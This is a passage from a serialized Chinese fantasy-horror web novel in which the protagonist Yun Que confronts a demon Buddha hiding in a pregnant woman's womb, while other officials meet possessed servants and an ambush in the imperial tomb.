屋子极其宽敞,四周均为药柜,中间木桌上的油灯忽明忽暗,灯油所剩无几。 屋子里虽然昏暗,但人很多。 郎中在抓药,学徒们在调配,掌柜的在算账,还有个仆人在扫地,十几人有条不紊的忙碌着。 就是没有客人。 常威心急火燎,走进屋子开始大喊: “你们这里谁医术最高!我家有个孕妇突然腹痛难忍,快跟我去瞧瞧,诊费我出双倍!” 常威喊完,屋子里的人不为所动,该干什么干什么。 抓药的抓药,算账的算账,扫地的扫地,没人理睬常威。 “瞧不起老子?十倍价格!谁是郎中,跟我走!” 常威瞪着眼睛吼道,还是没人理他。 常威怒了, 他几步走到摆放药材的木桌近前,一把将其中一个郎中的脖领子抓住。 “十倍诊费还不满意?你们想要多少!开个价!” 脸色苍白的中年郎中缓缓抬起头,面无表情的道: “哪里不舒服,如实道来,病不瞒医,你要说得仔细清楚。” “你耳朵聋啊!不是我不舒服,是我家有个孕妇病了!”常威急得抓耳挠腮,恨不得把这郎中直接绑回去。 “容我先诊脉,后开方子。”中年郎中抓住常威的手,居然开始诊起脉来。 常威本想甩开对方,大骂几句,这家药铺的郎中怎么听不懂人话呢。 可忽然常威察觉有屋子里的气氛有些不对。 对面的郎中不用说了,聋子一样,不由分说非得把脉。 旁边的掌柜也很古怪,在数银票,总共只有三张银票,翻来覆去的数个没完。 配药的学徒更奇怪, 从药柜里抓出几味药,称好后混在一起包起来,然后重新打开,将混在一起的药材仔细的挑出去再放回药柜。 最诡异的要数扫地的仆人,只扫脚下的一块,扫帚都要扫没毛了,仍旧一下一下的挥动着…… 常威悚然一惊,额头渗出冷汗。 他也算久经沙场了,死人堆里爬出的悍匪,常威的直觉在提醒他,这家药铺有古怪。 而且是极大的古怪! 极度危险的预感泛起在常威心头,他故作镇定,松开了抓着郎中脖领子的手,想要开溜。 可郎中没松手,始终在给他把脉。 而且手劲极大! 常威可是武夫,他眼睁睁看着自己的手腕子,被郎中捏出了一个手印! 连骨头都在咯咯作响。 这股力道,不弱于六品武夫,令常威起了一身白毛汗。 他觉得自己不是进了药铺,而是进了鬼门关! “你这是黑店!” 常威怒吼一声想要反抗。 旁边的掌柜,学徒,仆人,同时停住手里的动作,纷纷抬起头,将空洞的目光齐齐落在常威身上。 药铺里每个人的身上都开始起伏着一股灰黑色的气息。 常威没能挣脱郎中的大手,心头猛然一沉。 一个郎中都有如此力道,屋子里还有十来个人,一拥而上的话,他今天非得交代在这里不可。 身为山匪,常威常年在刀尖上游走,经常面对这种生死危机,他立刻冷静下来,大声道: “药卖得这么贵,不是黑店是什么!老子有钱,只要你能治好我的病,多少银子都没问题!我肚子疼,还恶心,头有点晕,腰也不太好……” 随着常威胡乱编造着病症,掌柜与学徒等人挪开目光,继续着之前的动作。 连郎中诊脉的力道也随之变轻了一些。 常威的喉咙滚动了一下,开始有的没的瞎说着,从脑子说到脚底板,反正但凡他能想到的地方,全都不舒服。 同一时间。 丞相府,书房。 左兰山正在换药。 心窝处的伤势很重,贯穿身体的剑洞,以文气能封闭一时,却封不住太久。 加上去大唐来回的奔波,左兰山始终没时间好好疗伤,今天才开始用药,晚上需要换药。 府里的老管家与两名手脚麻利的丫鬟,在书房里忙活了好一阵,才将灵药换了一遍。 看到自家老爷那恐怖的伤势,两个丫鬟吓得不轻。 “老爷,药换好了。”老管家见丞相望着窗外出神,不由得提醒了一句。 “知道了,下去吧。”左兰山回过神儿来,摆了摆手。 下人们退去。 披上长袍,左兰山皱了皱眉。 疼的。 如此严重的伤势,也就是二品强者,换成三品儒修都扛不住。 少年城一战,左兰山若非提前将心脉移位,他这位大秦丞相早死多时。 不仅伤口疼,头也有点发疼。 左兰山揉了揉额头,无奈的哼了一声。 头疼的原因,归结在云缺身上。 那颗炮弹的威能,差点把左兰山的脑袋炸开花。 要不是他当时听到头顶有风声袭来,先动用了文气护体,一炮足以将没有任何防备的儒家修士轰个半死。 “哪里来的炮弹,威力倒是惊人。” 左兰山一想起云缺就来气,除了生气,更多的是疑惑。 左兰山这一整天都在思索着云缺与秦皇之间的关联,可任凭他绞尽脑汁也想不出真相。 父子? 还是叔侄? 总不会是兄弟吧? 左兰山苦笑了一声,堂堂大秦丞相,天下大儒,却想不通一件最普通的血脉关联。 嘎吱。 书房门被推开,走进一位富态的老妇人,正是丞相夫人。 “老爷伤势不轻,早些休息为好。” “让夫人担心了,人虽然老了,筋骨还好,没事的。” “老爷毕竟上了年纪,有伤就该多歇歇,国事那么多,忙不完的。” “好,听夫人的,这便休息了。” 左兰山这时才觉得有些乏累,少年城一战消耗太大,也想好好睡一觉。 书房里有床。 左兰山勤于朝政,每天都会忙到后半夜,一般会在书房里睡。 丞相夫人本该离开,结果老妇人非但没走,反而吹灭了烛灯,自己先钻进了书房里的被窝。 左兰山皱了皱眉。 夫妻之间同床共枕,正常不过,但这里是书房,是他这位大秦丞相办公之处,平日里外人都不敢靠近,哪怕夫人也不会来打扰。 今天怎么了? 左兰山面带疑色,就听到窸窸窣窣的衣服响动。 一件又一件外衣从床榻落下,扔了满地。 黑暗里,被子掀开一角,现出两只绿油油的眼睛。 “老爷,快来睡觉啊。” 左兰山的脸色,瞬间阴沉如水。 …… 太尉府。 龙桃正在吃宵夜,一口小酒,一口小菜,喝得津津有味。 忽然有人来报。 “大人!皇陵那边传来消息,出事了!” “皇陵?”龙桃放下酒壶,奇怪道:“出什么事了,难道有人敢盗皇陵不成。” “不清楚,皇陵守卫传来的消息,说皇陵里发现诡异的东西。” “皇陵里能有什么诡异之物,难不成历代先皇诈尸了?”龙桃想了想,道:“你带人去瞧瞧,若有意外,发信号就行。” 近卫答应了一声,刚要退下,房门外忽然刮来一阵寒风,吹得屋中的火烛忽明忽暗。 门口隐约有黑影浮现。 龙桃瞄了眼门外,道: “进来说话。” 门口涌动起两团黑雾,飘进屋子幻化成两名黑衣人,脸上蒙着黑布,戴着兜帽。 这是影卫的装扮。 影卫出现,预示着皇帝密旨,龙桃坐直了身子,问道:“可是陛下有吩咐?” 两名影卫躬身施礼,其中一人声音沙哑的道: “皇陵有变,陛下命大人速速前往查看,我等特来带路。” 龙桃神色一凝,起身道:“走!瞧瞧去,到底皇陵里出了什么古怪。” 皇帝吩咐,龙桃不敢怠慢,知道皇陵里的事肯定不小,于是跟着两名影卫直奔皇陵。 大秦皇陵修建在天龙城东郊,常年有虎贲军的精锐驻扎看守。 皇陵重地,外人是不许靠近的,平常时候百姓们都会远离此地,皇陵附近极其荒凉。 龙桃抵达皇陵后,询问守卫,得知地宫内传来古怪的笑声。 “笑声?” 龙桃背着手,奇怪道:“难不成赢家祖先得知多了个后代,高兴了?” 命手下开门,龙桃亲自走进地宫查看。 武夫,是不信鬼神的。 以龙桃判断,皇陵里一定潜入了邪祟之物。 两名影卫始终跟在身后。 地宫修建得极其复杂,走了良久,龙桃终于听见了笑声,就在最大的地底宫殿之内。 当亲手打开大殿的石门,龙桃看见了一袭紫袍。 他身后的两名影卫,此时齐齐出刀。 斩的不是紫袍人,而是龙桃这位大秦太尉。 第650章 毒其母而害其子 恐惧这种感觉,对云缺来说极其罕见。 猎妖人的胆量,早已到了置生死于度外的程度,面对强大的妖邪,无所畏惧。 但今天, 当云缺将右手放在春梅肚腹上的时候,感受到了一种莫名的恐惧。 犹如永恒的黑夜即将来临,云缺觉得身边左右是无尽黑暗,有一张无形的大口将自己吞噬。 屋子里,并没有妖邪之物。 只有一盏烛灯,散发着温和的光晕。 但是灯光,却照不到云缺,离着极其遥远。 仿佛有某种力量,将光线完全吞没! 云缺浑身汗毛倒竖,一滴冷汗顺着鬓角滑落。 嘀嗒。 冷汗落地,发出细微的轻响。 而这声轻响,打破了黑暗。 影子,再一次出现在云缺脚下,柔和的灯光随之映来。 仿佛什么也没发生。 云缺缓缓收回手,往后退了一步,神色变得无比凝重。 春梅依旧卷缩在床榻上,只是脸上没有了痛苦,换成了诡异的平静。 压抑住狂跳的心脏,云缺淡定的道: “喝点热水也许会好些,你等着,我去烧水。” 说罢转身就走。 春梅的肚子里有大古怪! 单单接触就给人如此恐惧的感觉,可见那胎儿绝对是个可怕的怪物。 而且可怕的程度,远远超过云缺的想象! 如此局面,自然走为上策。 云缺仅仅迈出一步,就顿在原地。 桌子上的烛火开始晃动,火苗诡异的扭曲起来。 屋子里没有风,火苗却弯曲到极致,形成一个下弦月的形状,看起来好似一张嘴巴,在无声诡笑。 一种诡异的力量起伏在地面。 云缺迈出的脚步犹如陷入无底泥潭,即便动用四品破军之力也难以动弹。 最可怕的是,云缺发现自己的双脚在缓慢的下沉。 整个人开始沉入地面! 绝非幻觉,云缺能看到自己的脚面很快就陷入地面之下。 能轻易压制住破军境的武夫,如此力量,三品都很难做到,云缺猜测力量的源头至少是二品,甚至更强! “热水不错,可以喝些,对身体好。” 身后传来春梅平淡的低语,云缺听得头皮发麻,僵硬的转过身体。 春梅已经坐了起来,在烛光之下,俏生生的坐在床边,很美的姿态。 可是在云缺眼里,对面的根本不是什么美人,而是强大得令人心悸的凶兽! 妖瞳随之动用。 云缺知道在劫难逃,自己怕是出不去了,既然恶战难以避免,至少要看清对方究竟是什么东西。 随着后云缺怔住了。 春梅始终是人身状态,在血狸的妖瞳之下毫无妖气可言,也不是什么怪物,更没有鬼气存在。 就是个普通的活人! 怎么回事…… 云缺恍惚了一下,难道自己猜错了? 但刚才那种毛骨悚然的感觉绝对不会错! 云缺低头看了眼。 双脚稳稳的站在地面,之前的下沉,宛如梦境。 不会错! 春梅肯定有古怪! 云缺心念一动,左手猛然一握。 嘭一声闷响。 云缺握住了拳头,随后神色一变。 云缺想的可不是握拳,而是抓刀! 妖刀竟然没出现! 春梅犹如看穿了一般,嘴角微微翘起,道: “刀会伤人,最好别动。” 话很委婉,但充满了威胁之意。 既然出不去了,云缺于是大大方方拉把椅子桌在春梅对面。 “刀是小儿科,我还会些剑法,诗词歌赋也算精通,不知春梅姑娘喜欢什么。” 无论面对何方神圣,云缺在言语交锋上从不会落在下风。 说话的工夫,云缺试着沟通月魁,发现自己与妖魂失去了联系。 由此云缺能断定,对方的强大,远远超过三品! 明知遭遇强敌,云缺的内心还算安稳,因为此地是天龙城,不仅有秦皇,还有太尉与丞相。 哪怕是星辰殿的生肖高手来临,也未必能占得了便宜。 “我喜欢的东西,你身上就有。”春梅无声轻笑,道:“就怕你舍不得。” “说说看,如果无关轻重的东西,送你也可以,钱财身外物,我这人向来大方。”云缺道。 “梵钟。” 春梅简单的道出了两个字,再一次让云缺如坠冰潭。 梵钟被云缺封在文殿里,这时候与巫神碑作伴呢,对方居然明确指出自己身上有梵钟,可见实力已经强大到难以想象的地步。 对面的春梅到底是什么怪物! 云缺的心几乎沉到了谷底,可随后云缺再次一惊。 梵钟是佛门至宝,外人拿去也没什么大用,除非佛门强者才会需要,尤其对佛陀转世的白无缺更加重要。 难道说…… 云缺的眼皮开始不受控制的狂跳起来,一个恐怖的猜测浮现在脑海。 春梅微笑着道: “既然不是你的东西,留在身上又有何用,怀璧其罪的道理,你难道不懂吗。” 春梅说话之际,云缺看到了一些东西。 春梅的口中,隐约起伏着一些黑气! 自此,云缺终于确定了对方的身份……魔佛! 算一算日子, 从白无缺降生到现在,正好三个月,而春梅怀胎也是三月,也就是说,白无缺降生后逃走的魔佛,躲进了春梅的肚子里! 云缺紧锁眉峰,暗暗自责。 大意了! 白无缺借皇妃之腹降生,魔佛肯定也是一样的降临方式啊,自己就应该躲着孕妇才对。 偏偏把春梅收留到书楼,这下好了,自己家里养条狼,等着被一窝端呢! 现在后悔也晚了,云缺看了看右手,更加无奈。 少年城一战,手心里的三道佛手印全给了魏墨城,一个也没留…… 原本白无缺的佛手印,是克制魔佛的力量,偏偏被用掉了。 云缺甚至怀疑佛陀转世的白无缺与魔佛,是不是都会算呐,都能看到因果? 自己手里有佛印的时候不出来,佛印用掉了,魔佛出来了! 玩我呢这是? “梵钟啊,那东西钟表铺子有很多,明儿我让人买几个来,挂在你这里天天听个响儿。”云缺表面上风轻云淡,实则开始寻找退路。 必须逃! 文殿镇压巫神碑,已经用不上了,梵钟那玩意是佛门至宝,云缺是武夫根本用不出真正的威能,总不能将梵钟当大锤开砸吧。 “把你的脑袋敲碎了,也能听个响儿,你想要梵钟还是想要人头,你自己选。”春梅冷森森的笑道,笑声里充满了诡异之感。 “明人不说暗话!你到底是谁,敢不敢现出真容,让本王也开开眼界!躲在别人肚子里算什么能耐!”云缺冷声道。 本是拖延时间的话术,不料对方当真了。 春梅将两只手扣进嘴巴里,往两侧撕扯,从其额头开始出现了一道裂痕,随后整个身体居然被撕成了两半! 恐怖的一幕,就在云缺眼前发生。 古怪的是, 分成两半身体能清晰看到心脏在跳,五脏六腑也在微微晃动,居然没有流血! 就仿佛春梅的身体是缝制上的一样,可以随时被分开。 在分开的肚腹处,盘坐着一个褶褶巴巴的婴孩,巴掌大小,浑身黑灰。 随着春梅的身体分开,婴孩缓缓睁开了一双殷红的眼睛,宛如小小的恶魔一般! 这种见面的方式,实在太过血腥,云缺看得都直反胃。 “你和白无缺有过节,何必找我,梵钟其实在白无缺手里,你去找他,你们俩的恩怨,你们俩自己解决,佛门不是有句名言,冤有头债有主吗。”云缺顺口胡说着。 “梵钟乃是佛门至宝,佛陀之宝器,你觉得,我会连自己的东西都感知不到么。”恐怖的婴孩冷声说道。 “这么说就是没得谈了!”云缺猛然站起,目光如刀,杀气四溢。 “没错,要么梵钟给我,要么,你死。”婴孩冷声道。 “好男儿生于天地之间,该当顶天立地!何惧一死!”云缺一脸傲气,气势浑然的道:“不就梵钟嘛,要就给你好了,你想要就早说嘛,大家朋友一场,何必为了个外物打打杀杀,你说对吧。” 婴孩冷冽的表情,明显凝固了一下。 可能连魔佛也没遇到过这么不要脸的人。 “拿来。”婴孩伸出小手。 云缺连声说好,开始了各种奇怪的动作。 先是抓头发,然后抠耳朵,接着挖鼻子,最后干呕起来。 如此举动,看得婴孩莫名起来,寒声道: “你在作甚。” “拿梵钟啊,那玩意被我藏起来了,不太好拿,你要是着急的话,我去趟茅厕试试,看看能不能拉出来。” 云缺说完直接往外走,可惜不到门口就被一种强大的力量挡住了去路。 无奈之下,云缺只好商量道: “要不然你换点别的,换成白无缺怎么样,我把我那个便宜表弟送给你,他细皮嫩肉的肯定好吃,你把他吃了,咱们俩从此井水不犯河水。” “你要是害怕打不过他,我可以帮忙,咱们商量个计策,先给皇妃下毒,然后等白无缺开饭的时候正好神不知鬼不觉的被毒翻,保证没人知情。” 婴孩再次愣了一下。 “毒其母而害其子……这等手段我都没想过,我看你才是魔。” “彼此彼此,既然大家都是魔,那就是一家人,有话好说嘛……” 云缺话音刚落,婴孩突然伸出小手。 那只小手瞬间延长,直接抓向云缺的额头! 突如其来的危机,云缺根本无力抵挡,眼睁睁看着对方的小手掏进了自己的脑袋! 第651章 狗书生 云缺料到魔佛会突然出手,时刻防备着,但是根本防不住。 巨大的实力差距,是无法弥补的。 云缺只觉得脑子里犹如扎进一根针,那种剧痛令人难以忍受。 好在只是片刻,痛感便完全消失。 婴孩收回了小手。 手里空荡荡,没有任何东西,反而冒着淡淡的黑烟,好像他不是抓进了云缺的脑子,而是伸进了火盆,被烫得不轻。 婴孩的五官尚未完全长成,看起来十分丑陋,此时更是五官挪移,显得愈发狰狞恐怖。 “原来是你这狗书生!” 婴孩怒不可赦,破口大骂:“你真狠呐!诓骗我们联手对付大敌,结果我们斗得两败俱伤的时候,你在背后下黑手!你这卑鄙无耻的小人!我呸!你不配称圣!” 云缺听得心头一动。 魔佛认错人了! 错把自己当做了儒圣转世。 云缺瞬间就明白了缘由。 梵钟被藏在文殿里,魔佛能察觉到梵钟的存在,却没想到外面是文殿,魔佛抓进了识海,先抓的必然是文殿,所以被文殿气息所伤。 云缺淡淡一笑,语气变得深沉起来。 “各凭本事罢了,何必说得那么难听,不是我太狠,而是你们太蠢。” 演戏嘛,正是云缺的强项。 正好这次是千载难逢的机会,也许能从魔佛口中套出当年超品之战的真相! “好,是我们太蠢!” 魔佛恶狠狠的道:“我认栽了,谁让那家伙太强大,咱们谁都不是对手呢,以前的事先不提,今天你要如何面对我这位故人呢,你这转世之躯不怎么样嘛,区区四品,你拿什么保命!跪下,给本座认罪磕头,求我饶你不死,本座看心情杀不杀你,也许你还能多活几天。” 云缺当然不会跪。 跪了还是儒圣么。 “我如今的修为确实斗不过你,你可以轻易杀掉我,不过文殿炸裂的威能,你最好仔细想一想,不介意与我携手黄泉的话,你现在就可以动手了。” 云缺语气淡然,装出一种泰山崩而面不改色的高深状态,但心里却在着急。 以前的事别不提呀! 你不提,我怎么能知道超品之战的真相! 魔佛所说的那家伙太强大,肯定指的是壁画里最为神秘的妖武者。 他到底是谁?为何要联手攻之?这些谜团是云缺心里最想知道的真相。 听闻文殿,魔佛果然忌惮起来,沉默了稍许,道: “你还是那么卑鄙无耻,也罢,今天不与你斗法,但你也别想全身而退!当年的账,即便不算清楚,至少我要追回点利息才行!” 一听这话,云缺终于放心了不少。 只要不拼命,一切都好说,拼命我是真得没命啊。 “你想怎样。”云缺淡然道。 “想怎样?呵呵呵呵。”魔佛怪笑着合并双手。 春梅分开的躯体,缓缓合并,恢复了完好的肉身,居然没有丝毫伤口存在。 春梅忽然睁开眼,嘴角翘起一抹冷笑,接着说道:“先污了你这副转世之身,再吸干你的精气,让你虚弱的活着,待本座出世之后找回修为,再来找你算账!” 云缺听得莫名其妙。 污我身? 吸我气? 怎么污,怎么吸? 疑惑只是瞬间而已,下一刻云缺完全明白了过来。 因为他看到春梅开始解自己衣服上的扣子…… 云缺差点就跳起来破口大骂了! 果然是魔啊,拿你娘的身体污我? 你就不怕把我污成你爹啊! 这下云缺无法再淡定了,不久前还想美事儿来着,三宫六院七十二嫔妃,一手搂着大老婆一手搂着二老婆。 现在好了,自己要成宾妃了! 关键这玩意太恶心,太别扭了呀,明知肚子里的是魔佛,还要被春梅强行侮辱,简直比酷刑还残忍! 要是常威回来看到,更尴尬。 不行! 云缺打定主意,直接动手! 妖刀出不来,还有决云剑! 一道厉芒在屋子里炸起,决云剑直斩而下! 面对携风而至的剑锋,春梅甚至都没抬头,随意的一抬手,直接抓住了剑刃。 任凭云缺施展出破军之力,却无法将决云剑往下多斩半寸。 发现斩不下去,云缺立刻改换了招数。 直接动用影身之法,百道影身同时出现! 屋子本就不大,此时挤满了云缺,人挨人人挤人,甚至头上也是人,房梁上都挤着十几个云缺。 屋内完全被填满,别说影身动不了,连春梅一样动不了,被挤在了中间。 此刻的画面充满了诡异,更充满了令人捧腹的效果。 春梅的左脸被云缺的脸贴着,右脸旁边还是云缺,只不过这个是倒着的,她身边左右全都是云缺。 “想污哪个你自己挑。” 左边的云缺挤着眼睛。 “一个不够就多挑几个。” 右边的云缺挑着眉毛。 “不如大家一起睡,挤一挤多暖和!” 后边的云缺提出新颖的建议。 “看看你家娃娃是不是哭了,我听他在肚子里嚎呢。” 挤在春梅怀里的一个云缺,正贴着肚皮听声音。 “听错了吧,那么小的娃子怎么会哭,一定是尿了!” 头顶的一个云缺发表着自己的看法。 “为什么非得是尿了,就不能是拉了吗?” 房梁上的云缺持反对意见。 “三个月的娃娃会拉屎吗?” 挤在墙角的云缺大声质疑。 “怎么不会,人家是超品转世,当然会拉屎了!” 贴在窗户上的云缺艰难的开口。 “胡说!超品才不拉屎,要拉也是拉灵丹!是香的!” “会不会拉出来的是灵石?” “什么灵石,应该是舍利!” “舍利不是死了才有吗?” “问问他,转世之前的舍利哪去了!” 小小的屋子,成了菜市场,到处是云缺的声音,如魔音贯耳,听得春梅头晕眼花,忍无可忍。 “闭嘴!” 春梅怒吼出声,屋子里立刻安静下来。 最后她怀里挤着的云缺忽然神色古怪的问了句: “你上辈子,拉不拉屎?” 轰!! 春梅的眼皮在跳,牙齿在咬,终于怒不可赦的施展手段。 魔佛的力量爆发开来,将屋子里的云缺相继摧毁。 随着影身的破裂,屋子里涌起了大片云雾,突然一条云雾犹如灵蛇般袭来,带着一股寒芒,直奔春梅的肚腹! 云缺等的就是这个机会,决云剑化作云雾,奇袭而至。 剑气云雾确实扎进了春梅肚腹,但是没用,一只灰黑的小手探出了肚皮,直接将云雾拍散。 云缺的身影出现在门口,手里提着暗淡的长剑。 被魔佛一击,决云剑沾染了诡异的力量,灵气大失。 云缺本想破门而出。 但小小的木门彷如无尽的铁墙,根本出不去,破军之力也无法撼动分毫。 没办法,云缺只能继续装作镇定,想着脱身之策。 雾气很快消散,春梅始终坐在床榻,目光中泛起一种疑惑之色,道: “九品儒修,四品破军,你先修的武道?” “武德方为上品,想要以德服人,自然先修武道。”云缺随口说道。 刚才闹腾的动静不小,按理说隔壁的浴堂应该能听到动静,却不见有人来查看,显然屋子里被魔佛封印,想要传出消息都做不到了。 云缺现在唯一的底牌,是秦皇。 可是出不去,如何能通知自己那个便宜大舅? 如此危险的局面,云缺在短时间内实在想不到太好的办法,能拖一时算一时,只有拖到常威找来郎中才有机会传出消息。 “你不是儒圣转世。”春梅声音冰冷的道。 一听这话,云缺心头一沉。 糟了…… 儒圣转世还能镇住魔佛一时,如果让对方看穿真相,自己很容易被立刻击杀! “你怎知,我不是儒圣。”云缺冷静的道。 “儒圣不可能先修武道,再修儒道,他若转世必定先从儒家开始修炼,舍近而求远,他那种聪明人岂能如此愚蠢。”春梅冷笑道:“连本座也敢诓骗,你胆子不小。” “我若不是儒圣,文殿又为何在我身上,你若不信,大可试一试文殿之力。”云缺冷淡的道。 “不用试了,你用不出文殿的力量,否则那块石碑就会要你的命!” 春梅冷冰冰的道:“文殿,巫神碑,梵钟,你身上的好东西真不少啊,拥有三种超品之物,你倒是个造化之人,居然还能拥有儒圣传承,不错,不错!吞了你,本座就能更快生长,省掉一些无聊的时间。” 来自春梅的杀意,已经毫不掩饰。 云缺知道自己再装也没用了,这场恶战无法避免。 束手待擒,可不是云缺的作风,哪怕面对超品强者的转世之身,云缺一样要抗衡到最后! “既然没得谈了,那就只能动手,想要吞我,你得牙口够好才行!” 云缺冷喝的同时,元神在识海空间运转出最大的力量,终于唤醒了月魁。 “放心,吞了你之后,我会慢慢炼化文殿,顺便将你的神魂也一同炼化,作为控制文殿的傀儡!” 春梅冷笑着抬起手,道:“算你倒霉,谁让你是那狗书生的传人呢,死吧,小东西!” 云缺这时已经拥有了妖力,双眼瞬间转为竖瞳,长发转红,身上妖气与煞气同时炸起。 妖刀,再一次握在手中! 左手刀,右手剑,云缺准备拼命了。 然而当他即将妖化之际,春梅的神色豁然一愣。 “不可能!你居然是妖血武夫!” 第652章 可怜虫 春梅的语气充满惊讶与意外,绝非装模作样,这一点云缺听得出来。 妖血武夫怎么了,有什么可惊讶的? 云缺暂时没有妄动,冷眼盯着对方,没有言语。 春梅惊呼过后,神色变得古怪起来,时而惊讶,时而茫然,时而疑惑。 云缺也满心狐疑。 这家伙怎么了,既然发现自己不是儒圣转世,为什么不动手了? 刚想到这里,春梅忽然动了。 犹如一阵狂风,瞬间到了云缺近前,两只手分别抓住了云缺的双手,十指相扣,一双杏眼盯着云缺的双眼。 此刻的两人,姿态可以用暧昧来形容。 但是云缺只觉得浑身冰冷,犹如掉进万年寒潭! 这种感觉并非来自身体,而是来自神魂,云缺觉得对面的这双眼睛,仿佛能看透自己的一切! 在春梅的双眼面前,云缺瞬间失去了视觉,只能以元神状态存在。 更恐怖的是, 识海上空也出现了一双巨眼,居高临下凝视着元神状态的云缺! 如此恐怖的感觉,令云缺生出一种濒死感。 就像被人死死勒住脖子,无法呼吸,无法反抗,只能等死! 这一刻,云缺终于体会到超品强者的力量。 太过强大! 如果魔佛当真动手,云缺自认为今日必死! 不知过了多久,云缺渐渐恢复过来,重新拥有了本体视觉。 眼前, 春梅仍旧抓着自己的双手,只是眼瞳里充满了莫名其妙的诧异之色。 云缺试着挣脱,居然一下子推开了春梅。 春梅跌坐在床榻上,垂着头,沉默良久。 云缺试着感知了一番,自己居然没受伤! 毫发无损! “呵……呵呵呵呵。” 春梅诡异的低笑起来,她缓缓抬起头,透过混乱的头发望向云缺,声音古怪的道:“可怜虫……呵呵呵,哈哈哈哈!” 春梅笑得愈发诡异,云缺愈发奇怪。 谁是可怜虫? 春梅在说她自己,还是在说我? 话音刚落,春梅的表情变得痛苦起来,满头冷汗,气息明显变弱,整个人在短短时间内居然瘦了一圈。 相比于春梅的瘦弱,她的肚子反而鼓起一些,原本三月怀胎微微隆起,现在好像五个月左右。 云缺看着对方肚子的明显变化,心头发冷。 魔佛应该是耗费了某种力量,现在难以支撑,开始吸收春梅的气血甚至是生机来补充! 云缺觉得奇怪,刚才魔佛到底施展了什么手段,为何自己毫无伤势? “你笑什么。”云缺冷声质问。 “因果,真有趣啊……” 春梅没有回答云缺的问题,而是自语般呢喃了一句,随后说了一句更加古怪的话:“大秦,快亡了。” “有你在,何处不亡!”云缺冷声道。 “与我无关,这身体本应是皇子宾妃,荣华富贵,仙丹灵药垂手可得,可惜啊,我没有白无缺那种好命,落了个自生自灭的下场,坏我因果之人,我必杀之。”春梅摇了摇头,道。 云缺越听越奇怪,道: “我坏了你的因果?你好像是自己被赢人志赶出来的吧,与我有什么关系。” “不是你,另有其人。” 春梅声音变得冷冽起来,道:“那家伙已经到了天龙城,正好,用他来补偿本座的损失,云缺,你若想活命,我给你一条路。” 云缺沉声道:“我不大喜欢别人给的路,我喜欢自己走我自己的路。” 春梅挑起嘴角,没在乎云缺的冰冷语气,诡笑道:“与我联手,将我需要的东西引到此处,成功之后,我不杀你,也不会留在大秦。” 云缺紧锁眉峰,道:“魔佛,会有这么好心?联手一次就乖乖退走?” “魔佛?哼!难道你觉得白无缺就不是魔吗。”春梅冷哼道:“谁定神魔,自然是成王败寇,谁赢,谁是神,谁输,谁是魔!” 虽然魔佛极其危险,但云缺不得不赞同对方这句话。 云缺并不迂腐,善恶那些道理,他早就看透了。 只是云缺想不通,魔佛要杀的人,究竟是谁。 更让云缺奇怪的是,自从被魔佛注视过双眼,对方就像换了个人似的,之前的滔天恨意居然不见了。 魔佛与白无缺之间的关联,云缺难以断定,谁好谁坏很难分辨,但是云缺能确定一点。 魔佛对儒圣的恨意,绝不会轻易消散。 因为几位超品强者均都死于儒圣之手。 自己作为儒圣的传人,魔佛应该想尽手段击杀才对,怎么提出联手这种事? 仇家的徒弟,不应该赶尽杀绝吗? 压下心头的疑惑,云缺问道: “你到底要杀谁。” “不认得,没见过。”春梅道。 “打机锋就免了吧,我不修佛,听不懂。”云缺道。 云缺的语气很冲,确实听不懂,不过还隐藏着试探之意,想要看看如此语气是否会激怒魔佛。 对方的态度转变,始终让云缺觉得奇怪,怎么也想不通,只能一点点试探。 “你可知,我这副身体的因果为何而断,因何流落至此。”春梅非但不怒,反而语气平静。 云缺皱了皱眉,道: “你不是被三皇子赶出来的么,赢人志说你是克夫命,克死了新来的妾氏……” 说到这里,云缺忽然间目光一动。 “玉尘!原来如此!” 云缺终于想通了魔佛与三皇子断开的因果。 其原因,是赢人志新买的清倌人玉尘! 但是那玉尘绝非普通人,或者说身体被某种异类占据,云缺曾经路过闻香楼的时候,发现玉尘的长发里有些诡异的红线。 后来与段无病提起过此事,两人也难以判断真相,段无病答应回去开始调查,随后就是少年擂开始,玉尘之死始终没有结果。 以云缺判断,玉尘不是被阴邪的魂体附身,就是被噬魂兽控制,当时查看尸体的时候毫无发现,并没有任何魂体残留。 这件事就一直拖着,玉尘的尸体也始终留在书楼,被装在药桶里保存。 一件奇怪的诡案,居然牵扯出了魔佛,如今云缺恍然大悟,原来春梅克死的就是玉尘,所以才被赢人志赶了出来。 而玉尘身上的东西,就是切断了魔佛与皇子因果的罪魁祸首! “玉尘被你杀了?”云缺道。 “也可以这么说,区区魂兽也敢挑衅本座,不知死活。”春梅道。 “魂兽……玉尘身上的当真是噬魂兽!天龙城怎么会出现天澜宝境里的异兽?”云缺惊讶道。 “自然是有人刻意而为,魂兽不会自主行动,往往需要有人控制,我要杀的,就是控制魂兽的幕后之人。”春梅道。 云缺了然的点点头。 春梅的命运本该不错,跟在赢人志身边,虽然不像白无缺那般直接成为皇子,但也绝对是大富大贵的命。 因为噬魂兽控制了玉尘,而春梅又要与其争宠,发生意外后,魔佛被迫出手,将玉尘连同噬魂兽一同击杀。 云缺心里腹诽了一句, 魔就是魔,还没出生就走霉运,跟白无缺根本没法比啊。 转念一想,白无缺也不是一帆风顺的出世,那家伙与魔佛缠斗不休,根本生不出来,要不是自己带着梵钟,误打误撞的晃了下铃铛,魔佛也不可能遁走。 想到这里,云缺渐渐的瞪大了眼睛。 自己救了白无缺,如今又得帮魔佛,怎么佛门的因果律如此可怕,沾上就脱不了身啊! 我当初就是帮着送封信而已! 从大晋出发送信开始,云缺就掉进了这一连串的因果律当中。 被困禅杖寺,因此躲过雷音寺的杀戮大劫,到了雷音寺又被误认为佛门最后一位真传弟子,在老和尚手里得了铃铛,在大唐皇宫救下白无缺。 之后得到佛手印,却在少年城将三次机会全部用光,然后春梅被赶出皇子府,走投无路经过书楼被自己收留,直至今日魔佛现身,要与自己联手,助他顺利生长…… 想到这里,云缺的浑身汗毛又竖了起来。 这一连串的因果,充满了诡异到极致的巧合! 每一步都仿佛预先设定好了一样,走错一步都不会有如今的局面,甚至时间段的巧合,必须完美无缺,哪怕当天云缺在书楼里晚出来一步,或者早出来一步,都不会撞上经过的春梅。 因果律…… 云缺的心头感慨不已,因果律这东西实在可怕。 而且不论白无缺还是魔佛,都身怀着大机缘。 白无缺能逼走魔佛,是因为云缺带来了梵钟,魔佛的机缘,是云缺用掉了三次佛手印。 哪怕留一道佛手印,以魔佛如今的胎儿状态,他未必扛得住。 就这么巧吗? 云缺除了震撼之外,有些不服气,心神一动,直接将梵钟从文殿里拿了出来。 这玩意当初自己摇动的时候,能震走魔佛,现在也许还有效。 云缺倒要看看魔佛的机缘,能延续到什么时候! 